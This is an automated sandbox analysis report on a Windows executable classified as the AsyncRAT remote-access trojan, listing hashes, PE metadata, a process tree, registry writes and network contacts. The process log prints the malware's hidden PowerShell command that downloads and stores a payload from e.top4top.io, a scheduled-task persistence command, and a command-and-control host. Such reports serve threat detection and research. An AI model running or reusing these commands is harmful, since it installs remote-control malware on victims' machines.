| File name: | WindowsApplication1.exe |
| Full analysis: | https://app.any.run/tasks/fa9c5cde-48de-4370-8067-64a43e3d96a5 |
| Verdict: | Malicious activity |
| Threats: | AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions. |
| Analysis date: | February 29, 2020, 02:00:24 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows |
| MD5: | 042B94A1B959038C29E6EC6B22305585 |
| SHA1: | C62A08E8416A8A77465512FFF0F407E7936CE389 |
| SHA256: | BE42974C3FAA0E2A30BA88253D78BA2DAE0CE02CE7BC57B2655C8D54F248E445 |
| SSDEEP: | 1536:z5aXCj7uZrwz6PuI/ecFSVaWSModBAHRUOvh:z5aXCj7WrDPuSeGlVAxUOZ |
| .exe | | | Generic CIL Executable (.NET, Mono, etc.) (62) |
|---|---|---|
| .exe | | | Win64 Executable (generic) (23.3) |
| .dll | | | Win32 Dynamic Link Library (generic) (5.5) |
| .exe | | | Win32 Executable (generic) (3.8) |
| .exe | | | Win16/32 Executable Delphi generic (1.7) |
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2020:02:29 01:17:34+01:00 |
| PEType: | PE32 |
| LinkerVersion: | 8 |
| CodeSize: | 81408 |
| InitializedDataSize: | 13824 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x15d8e |
| OSVersion: | 4 |
| ImageVersion: | - |
| SubsystemVersion: | 4 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 1.0.0.0 |
| ProductVersionNumber: | 1.0.0.0 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Win32 |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | Neutral |
| CharacterSet: | Unicode |
| Comments: | Windows |
| CompanyName: | Windows |
| FileDescription: | Windows |
| FileVersion: | 1.0.0.0 |
| InternalName: | WindowsApplication1.exe |
| LegalCopyright: | Copyright © 2020 |
| OriginalFileName: | WindowsApplication1.exe |
| ProductName: | Windows |
| ProductVersion: | 1.0.0.0 |
| AssemblyVersion: | 1.0.0.0 |
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 29-Feb-2020 00:17:34 |
| Comments: | Windows |
| CompanyName: | Windows |
| FileDescription: | Windows |
| FileVersion: | 1.0.0.0 |
| InternalName: | WindowsApplication1.exe |
| LegalCopyright: | Copyright © 2020 |
| OriginalFilename: | WindowsApplication1.exe |
| ProductName: | Windows |
| ProductVersion: | 1.0.0.0 |
| Assembly Version: | 1.0.0.0 |
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x00000080 |
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 3 |
| Time date stamp: | 29-Feb-2020 00:17:34 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00002000 | 0x00013D94 | 0x00013E00 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 7.26065 |
.rsrc | 0x00016000 | 0x00003400 | 0x00003400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 3.53341 |
.reloc | 0x0001A000 | 0x0000000C | 0x00000200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 0.10191 |
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 5.00112 | 490 | UNKNOWN | UNKNOWN | RT_MANIFEST |
2 | 1.71396 | 744 | UNKNOWN | UNKNOWN | RT_ICON |
3 | 2.0843 | 296 | UNKNOWN | UNKNOWN | RT_ICON |
4 | 1.72071 | 2216 | UNKNOWN | UNKNOWN | RT_ICON |
5 | 1.04772 | 1384 | UNKNOWN | UNKNOWN | RT_ICON |
6 | 4.04524 | 851 | UNKNOWN | UNKNOWN | RT_ICON |
7 | 2.72257 | 4264 | UNKNOWN | UNKNOWN | RT_ICON |
8 | 2.76148 | 1128 | UNKNOWN | UNKNOWN | RT_ICON |
32512 | 2.68921 | 104 | UNKNOWN | UNKNOWN | RT_GROUP_ICON |
mscoree.dll |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 660 | "C:\Users\admin\AppData\Local\Temp\WindowsApplication1.exe" | C:\Users\admin\AppData\Local\Temp\WindowsApplication1.exe | explorer.exe | ||||||||||||
User: admin Company: Windows Integrity Level: MEDIUM Description: Windows Exit code: 0 Version: 1.0.0.0 Modules
| |||||||||||||||
| 1064 | timeout 3 | C:\Windows\system32\timeout.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: timeout - pauses command processing Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2056 | SCHTASKS /Create /SC MINUTE /MO 1 /TN "Update" /TR "C:\Users\admin\AppData\Roaming\update\windows.exe" | C:\Windows\system32\schtasks.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Manages scheduled tasks Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2068 | "C:\Users\admin\AppData\Local\Temp\Server.exe" | C:\Users\admin\AppData\Local\Temp\Server.exe | — | WindowsApplication1.exe | |||||||||||
User: admin Company: computer Integrity Level: MEDIUM Description: computer Exit code: 3221226540 Version: 1.2.0.0 Modules
| |||||||||||||||
| 2448 | "C:\Users\admin\AppData\Local\Temp\Server.exe" | C:\Users\admin\AppData\Local\Temp\Server.exe | WindowsApplication1.exe | ||||||||||||
User: admin Company: computer Integrity Level: HIGH Description: computer Exit code: 0 Version: 1.2.0.0 Modules
| |||||||||||||||
| 2556 | powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object System.Net.WebClient).DownloadFile('https://e.top4top.io/p_1519co8mi1.jpg',\"$env:APPDATA\update\windows.exe\") | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2652 | attrib +h C:\Users\admin\AppData\Local\Temp\ztmp | C:\Windows\system32\attrib.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Attribute Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2760 | C:\Windows\system32\cmd.exe /c if exist "C:\Users\admin\AppData\Local\Temp\ztmp\tmp6994.bat" del "C:\Users\admin\AppData\Local\Temp\ztmp\tmp6994.bat" | C:\Windows\system32\cmd.exe | — | Server.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3044 | C:\Windows\system32\cmd.exe /c if exist "C:\Users\admin\AppData\Local\Temp\ztmp\tmp6994.bat" del "C:\Users\admin\AppData\Local\Temp\ztmp\tmp6994.bat" | C:\Windows\system32\cmd.exe | — | Server.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3064 | C:\Windows\system32\cmd.exe /c if exist "C:\Users\admin\AppData\Local\Temp\ztmp\tmp4380.exe" del "C:\Users\admin\AppData\Local\Temp\ztmp\tmp4380.exe" | C:\Windows\system32\cmd.exe | — | Server.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| (PID) Process: | (660) WindowsApplication1.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (660) WindowsApplication1.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (2556) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2556) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (2556) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (2556) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (2556) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (2556) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (2556) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (2556) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2556 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\E7RQ4BW8WR7Y2QFUZC2E.temp | — | |
MD5:— | SHA256:— | |||
| 3260 | windows.exe | C:\Users\admin\AppData\Local\Temp\CabEBFE.tmp | — | |
MD5:— | SHA256:— | |||
| 3260 | windows.exe | C:\Users\admin\AppData\Local\Temp\TarEBFF.tmp | — | |
MD5:— | SHA256:— | |||
| 3260 | windows.exe | C:\Users\admin\AppData\Local\Temp\CabEC1F.tmp | — | |
MD5:— | SHA256:— | |||
| 3260 | windows.exe | C:\Users\admin\AppData\Local\Temp\TarEC20.tmp | — | |
MD5:— | SHA256:— | |||
| 3260 | windows.exe | C:\Users\admin\AppData\Local\Temp\CabEC8F.tmp | — | |
MD5:— | SHA256:— | |||
| 3260 | windows.exe | C:\Users\admin\AppData\Local\Temp\TarEC90.tmp | — | |
MD5:— | SHA256:— | |||
| 3260 | windows.exe | C:\Users\admin\AppData\Local\Temp\CabED0E.tmp | — | |
MD5:— | SHA256:— | |||
| 3260 | windows.exe | C:\Users\admin\AppData\Local\Temp\TarED0F.tmp | — | |
MD5:— | SHA256:— | |||
| 3260 | windows.exe | C:\Users\admin\AppData\Local\Temp\CabED3F.tmp | — | |
MD5:— | SHA256:— | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3260 | windows.exe | GET | 304 | 8.253.95.249:80 | http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab | US | compressed | 55.4 Kb | whitelisted |
3260 | windows.exe | GET | 200 | 8.253.95.249:80 | http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab | US | compressed | 55.4 Kb | whitelisted |
3260 | windows.exe | GET | 304 | 8.253.95.249:80 | http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab | US | compressed | 55.4 Kb | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2556 | powershell.exe | 163.172.212.106:443 | e.top4top.io | Online S.a.s. | NL | unknown |
3260 | windows.exe | 141.255.152.181:6606 | al3nzii.myq-see.com | Lost Oasis SARL | NL | malicious |
3260 | windows.exe | 8.253.95.249:80 | www.download.windowsupdate.com | Global Crossing | US | suspicious |
Domain | IP | Reputation |
|---|---|---|
e.top4top.io |
| unknown |
al3nzii.myq-see.com |
| malicious |
www.download.windowsupdate.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
1052 | svchost.exe | Potential Corporate Privacy Violation | ET INFO Observed DNS Query to .myq-see .com DDNS Domain |
3260 | windows.exe | A Network Trojan was detected | MALWARE [PTsecurity] AsyncRAT |
3260 | windows.exe | A Network Trojan was detected | MALWARE [PTsecurity] AsyncRAT |
3260 | windows.exe | A Network Trojan was detected | MALWARE [PTsecurity] AsyncRAT |
3260 | windows.exe | A Network Trojan was detected | MALWARE [PTsecurity] AsyncRAT |